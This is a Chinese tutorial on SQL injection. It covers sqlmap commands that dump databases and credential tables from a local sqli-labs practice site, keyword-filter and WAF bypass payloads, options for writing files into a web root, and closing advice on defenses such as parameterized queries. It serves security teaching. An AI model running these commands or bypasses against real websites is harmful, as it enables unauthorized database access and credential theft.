如何分析SQLMap和SQLi注入防御

名列前茅部分:Sqlmap使用

1.1 sqlmap介绍

1. 前边说了一些sql注入的基础语句,但是手工注入很麻烦,我们可以借助sqlmap这个强大的sql注入工具,进行数据的获取.

2. sqlmap介绍

(1)#sqlmap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及
接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。

官方网站: sqlmap.org

如何分析SQLMap和SQLi注入防御

(2)#支持的数据库:
MySQL,Oracle, PostgreSQL, Microsoft SQL Server, Microsoft
Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。

(3)#支持多种注入方式

#UNION query SQL injection(可联合查询注入)
#Error-based SQL injection(报错型注入)
#Boolean-based blind SQL injection(布尔型注入)
#Time-based blind SQL injection(基于时间延迟注入)
#Stacked queries SQL injection(可多语句查询注入)

1.2 sqlmap安装和环境搭建

1.sqlmap安装主要步骤

(1)安装python环境—>sqlmap需要python环境

python下载地址: https://www.python.org/downloads/release/python-2715/)

如何分析SQLMap和SQLi注入防御

sqlmap跟Python2.X版本兼容比较好.(python的安装步骤直接下一步即可,需要修改的就是sqlmap的安装路径,这里改成了C:UsersAdministratorpython,为了直接命令行可以进入sqlmap目录更方便操作)

(2)Python安装不要安装到中文路径下,并把Python添加到环境变量中.

如何分析SQLMap和SQLi注入防御

如何分析SQLMap和SQLi注入防御

(3)下载并安装sqlmap,修改安装目录为C:UsersAdministratorsqlmap

(4)测试python环境: 进入cmd命令行,输入python,如下提示则安装成功

C:UsersAdministrator>python
Python 2.7.16 (v2.7.16:413a49145e, Mar 4 2019, 01:37:19) [MSC v.1500 64 bit (AMD64)] on win32
Type “help”, “copyright”, “credits” or “license” for more information.

>>> exit();

(5)sqlmap测试: 进入cmd命令行,输入sqlmap.py -h (注意路径)

C:UsersAdministratorsqlmap>sqlmap.py -h #查看帮助信息

如何分析SQLMap和SQLi注入防御

1.3 sqlmap常用参数

#(1)获取库名,列名,权限

  • –dbs #获取所有数据库

  • –dbms mysql #指定数据库类型

  • –users #所有数据库用户(数据库本地用户名)

  • –passwords #获取数据库密码,(有权限才能读取)

  • –technique #指定使用哪种注入类型

  • –current-db #当前数据库

  • –banner #获取数据库标识

  • -D database_name –tables #-D用于指定数据,–tables获取某个库下的表

  • -D database_name -T table_name –columns #-T指定表名,–columns获取列字段

  • -D database_name -T table_name -C column_1,column_2 –dump
    #-C指定字段名,–dump显示结果

  • –users #列数据库管理用户,当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。

  • –current-user #在大多数据库中可以获取到管理数据的用户。

  • –is-dba #判断当前的用户是否为管理,是的话会返回True。

  • –privileges #当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参 数指定你想看那个用户的权限。

  • –proxy #指定一个代理服务器 eg: –proxy http://local:8080

#(2)指定前后缀:

  • #sqlmap不能探测很多的干扰字符,闭合时可以手工指定前缀和后缀

  • select * from users where id=(((‘1’))) and 1=1

  • #–prefix=PREFIX 注入payload字符串前缀

  • #–suffix=SUFFIX 注入payload字符串后缀
    eg:sqlmap -u “www.target.com/index.php?id=1” -p id –prefix “’))”
    –suffix “AND (‘1’=’1”

#(3)导出结果:

  • sqlmap -u “www.a.com/1.php?id=1” –file-write=”d:/1.txt”

  • –file-dest=”E:/wwwroot/web/one.php“

  • –batch 全自动

  • –start=开始条数 –s较好=结束条数

  • –dump 导出数据

  • –dump-all 导出所有数据

  • –purge-output/ –purge 清空缓存目录

  • –sql-shell 反弹sqlshell,类似于sql查询分析器 默认路径.sqlmap (点sqlmap)

1.4 sqlmap实战举例

#Less-1–Less65通用语句(这几句是最常用的几个参数,必会型)

#(1)获取所有库名
C:UsersAdministratorsqlmap>python sqlmap.py -u “http://localhost/sqli/Less-1?id=1” –dbs –dbms=mysql –batch

#解析:

-u 后加url,表示测试的url

–dbs表示获取所有数据库

–dbms表示指定数据库类型为mysql

–batch表示自动获取

-D security –tables 表示获取指定数据库为security 的表名

-D security -T users –columns 表示获取指定数据库为security里users表中的列名

-D security -T users -C username,password –dump #获取security库,users表中username和password字段的数据信息,–dump表示显示结果

#结果:
[*] challenges
[*] dvwa
[*] information_schema
[*] mysql
[*] owasp
[*] performance_schema
[*] security
[*] test

#(2)获取当前库名
C:UsersAdministratorsqlmap>python sqlmap.py -u “http://localhost/sqli/Less-1?id=1” –current-db –batch
#结果:
current database: ‘security’

#(3)获取当前表名
C:UsersAdministratorsqlmap>python sqlmap.py -u “http://localhost/sqli/Less-1?id=1” -D security –tables –batch

#结果:
Database: security
[4 tables]
+———-+
| emails |
| referers |
| uagents |
| users |
+———-+

#(4)获取当前列名
C:UsersAdministratorsqlmap>python sqlmap.py -u “http://localhost/sqli/Less-1?id=1” -D security -T users –columns –batch

#结果:
Database: security
Table: users
[3 columns]
+———-+————-+
| Column | Type |
+———-+————-+
| id | int(3) |
| password | varchar(20) |
| username | varchar(20) |
+———-+————-+

#(5)获取users表中username和password内容
C:UsersAdministratorsqlmap>python sqlmap.py -u “http://localhost/sqli/Less-1?id=1” -D security -T users -C username,password –dump –batch

#结果:
Database: security
Table: users
[13 entries]
+———-+————+
| username | password |
+———-+————+
| Dumb | Dumb |
| Angelina | I-kill-you |
| Dummy | p@ssword |
| secure | crappy |
| stupid | stupidity |
| superman | genious |
| batman | mob!le |
| admin | admin |
| admin1 | admin1 |
| admin2 | admin2 |
| admin3 | admin3 |
| dhakkan | dumbo |
| admin4 | admin4 |
+———-+————+

第二部分:sqli注入之waf绕过

2.1 SQL注入之waf绕过方法介绍

说明:这里仅举例说明绕过方式,实际场景则更加复杂. 多种绕过方式可以混合使用,还可以进行编码.

1.前边知道了sql注入的方式后,如何才能防止sql注入呢?

  • #(1)过滤注释符

  • #(2)过滤and或or

  • #(3)过滤select或union

  • #(4)过滤黑名单

2.过滤了and/or绕过方式有哪些?

  • #(1)mysql中大小写不敏感,都可以正确执行;===>使用大小写变形

  • #(2)mysql支持十六进制,用16进制或用URL编码;

  • #(3)用符号替换单词 ===>符号绕过 and(&&) or(||)

  • #(4)内联注释和多行注释===>在敏感词汇中添加注释a/**/nd 双写绕过oORr

3.当然还有其他方法,我们以这几种过滤方式为例,来说说如何绕过.

真实场景中有waf设备,waf其实也是通过过滤一些关键字来防止sql注入的.

2.2 sql注入之绕过waf实验

1.过滤了注释符(Less-23为例)

#(1)过滤注释符的原因:对于正常的SQL语句中,注释符起到说明作用的功能。但是对于在利用SQL注入漏洞过程中,注释符起到闭合 单引号、多单引号、双引号、单括号、多括号的功能。
单行注释: –+ 或 –空格 或 #
多行注释: /* 多行注释内容 */

#(2)过滤函数preg_replace
preg_replace(mixed $pattern , mixed $replacement , mixed $subject):执行一个正则表达式的搜索和替换。
$pattern: 要搜索的模式,可以是字符串或一个字符串数组
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。

如何分析SQLMap和SQLi注入防御

#(3)绕过注释符:
利用注释符过滤不能成功闭合单引号等,换一种思路 利用 or ‘1’=’1闭合单引号等。
http://127.0.0.1/sqli/Less-23/?id=-1%27%20union%20select%201,database(),%273

如何分析SQLMap和SQLi注入防御

2.过滤了and或or应该如何绕过?(Less-25为例)

(1)源码分析:可以看到把or或and替换为了空

如何分析SQLMap和SQLi注入防御

(2)操作步骤

如何分析SQLMap和SQLi注入防御如何分析SQLMap和SQLi注入防御如何分析SQLMap和SQLi注入防御

3.过滤了空格应该如何绕过?(Less-26为例)

(1)用%0a来充当空格

如何分析SQLMap和SQLi注入防御

4.过滤了select/union该如何绕过?(Less-27为例)

如何分析SQLMap和SQLi注入防御如何分析SQLMap和SQLi注入防御如何分析SQLMap和SQLi注入防御

如何分析SQLMap和SQLi注入防御如何分析SQLMap和SQLi注入防御

第三部分:sqli注入防御

3.1 sql注入防御方法

1.常用防护措施:

#(1)、关闭错误提示: PHP配置文件php.ini中的display_errors=Off
#(2)、魔术引号(与addslashes的效果相同):当php.ini里的magic_quotes_gpc=On时。提交的变量中所有的单引号(’)、双引号(”)、反斜线()与 NUL(NULL 字符)会自动转为含有反斜线的转义字符
#(3)、对数据进行过滤:比如过滤掉and/or/union等常用关键词
#(4)、控制连接数据库的用户权限:每个库针对单个库设置一个管理员,不要用root权限.
#(5)、预处理和参数化(PDO):处理用户传入的参数,返回布尔值,不是单纯的对数据进行”拼接”,从而避免sql注入.
#(6)、硬件防护措施(WAF等硬件)

看完上述内容,你们对如何分析SQLMap和SQLi注入防御有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注亿速云行业资讯频道,感谢大家的支持。

文章标题:如何分析SQLMap和SQLi注入防御,发布者:亿速云,转载请注明出处:https://worktile.com/kb/p/25954

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
亿速云亿速云认证作者
上一篇 2022年9月16日 下午10:23
下一篇 2022年9月16日 下午10:24

相关推荐

  • 如何实现APT34泄密武器报告分析

    APT34是一个来自于伊朗的APT组织,自2014年起,持续对中东及亚洲等地区发起APT攻击,涉猎行业主要包含政府、金融、能源、电信等。多年来,攻击武器库不断升级,攻击手法也不断推陈出新,并且攻击行为不会因为被曝光而终止。 APT34组织背景 4月17日,有国外媒体报道,一个名为“Lab Dookh…

    2022年9月8日
    19200
  • 电脑0x000000d1原因是什么及怎么解决

    0x000000d1蓝屏代码是什么意思: 1、内存条质量不高导致了接触不良或者老化。 2、硬件的驱动程序不匹配或者损坏。 3、系统遭病毒破坏某些硬件配置文件被更改。 4、有几个软件冲突。 0x000000d1解决方法: 方案一: 1、将BIOS设置为默认值。 2、拆开主机,检查所有连接(可以重新插拔…

    2022年9月18日
    39700
  • windows softcnkiller怎么使用

    softcnkiller使用方法 1、首先下载这款软件。 2、下载完成后将下载好的压缩包解压出来。 3、解压完成后进入文件夹,运行“softcnkiller.exe” 4、打开后软件会自动扫描你系统之中存在的流氓软件。 5、对于你想要处理的内容,只要选中它,并点击右下角“处理选中” 6、软件逻辑是通…

    2022年9月21日
    28200
  • MySQL索引最左匹配原则是什么

    准备 为了方面后续的说明,我们首先建立一个如下的表(MySQL5.7),表中共有5个字段(a、b、c、d、e),其中a为主键,有一个由b,c,d组成的联合索引,存储引擎为InnoDB,插入三条测试数据。强烈建议自己在MySQL中尝试本文的所有语句。 CREATE TABLE `test` ( `a`…

    2022年9月8日
    5.4K00
  • 如何进行AppLocker绕过分析

    前言 什么是applocker AppLocker即“应用程序控制策略”,是Windows 7系统中新增加的一项安全功能。在win7以上的系统中默认都集成了该功能,我们可以使用在services中启用Application Identity,然后在local security policy中找到Ap…

    2022年9月16日
    22800
  • mysql的2002错误怎么解决

    在mysql中,2022错误指的是编译的时候没有指定socket,所以mysql命令连接的时候还是使用的默认值,因为socket位置变了,而mysql命令不知道,所以就出现了这样的错误,可以修改“/etc/my.cnf”文件来解决该错误。 本教程操作环境:windows10系统、mysql8.0.2…

    2022年9月1日
    52900
  • windows edge浏览器弹窗如何关闭

    edge浏览器关闭弹窗的方法: 1、在浏览器中点击右上角三个点,选择“设置”。 2、在左侧任务栏选择“隐私和安全性”。 3、下拉找到“安全性”将“阻止弹出窗口”的开关打开。 以上就是“windows edge浏览器弹窗如何关闭”这篇文章的所有内容,感谢各位的阅读!相信大家阅读完这篇文章都有很大的收获…

    2022年9月8日
    31700
  • 打开cad时winds找不到文件如何解决

    解决方法: 1、右击当前dwg文件,点击“打开方式”选择“默认程序”。 2、打开方式窗口点击“浏览”。 3、点击浏览后看到程序安装目标,在目录选中acad.exe然后打开。 4、返回到打开方式点击“确定”即可。 “打开cad时winds找不到文件如何解决”的内容就介绍到这里了,感谢大家的阅读。如果想…

    2022年9月8日
    74200
  • windows deepl如何上传文件

    deepl上传文件的方法 1、点击进入网页端。 2、点击翻译.docx & .pptx文件 3、上传你要翻译的文档。 4、选择你的目标翻译语言。 5、翻译完成之后,点击下载就可以得到翻译好的文档啦。 到此,相信大家对“windows deepl如何上传文件”有了更深的了解,不妨来实际操作一番…

    2022年9月26日
    21400
  • mysql的配置文件是哪个

    Windows操作系统中的MySQL配置文件是“my.ini”,位置一般在MySql安装的根目录下,也有可能在隐藏文件夹“ProgramData”下面;而Linux操作系统中的MySQL配置文件是“my.cnf”,位置一般在“/etc/my.cnf”或“/etc/mysql/my.cnf”目录下。 …

    2022年9月20日
    2.0K00
站长微信
站长微信
电话联系

400-800-1024

工作日9:30-21:00在线

分享本页
返回顶部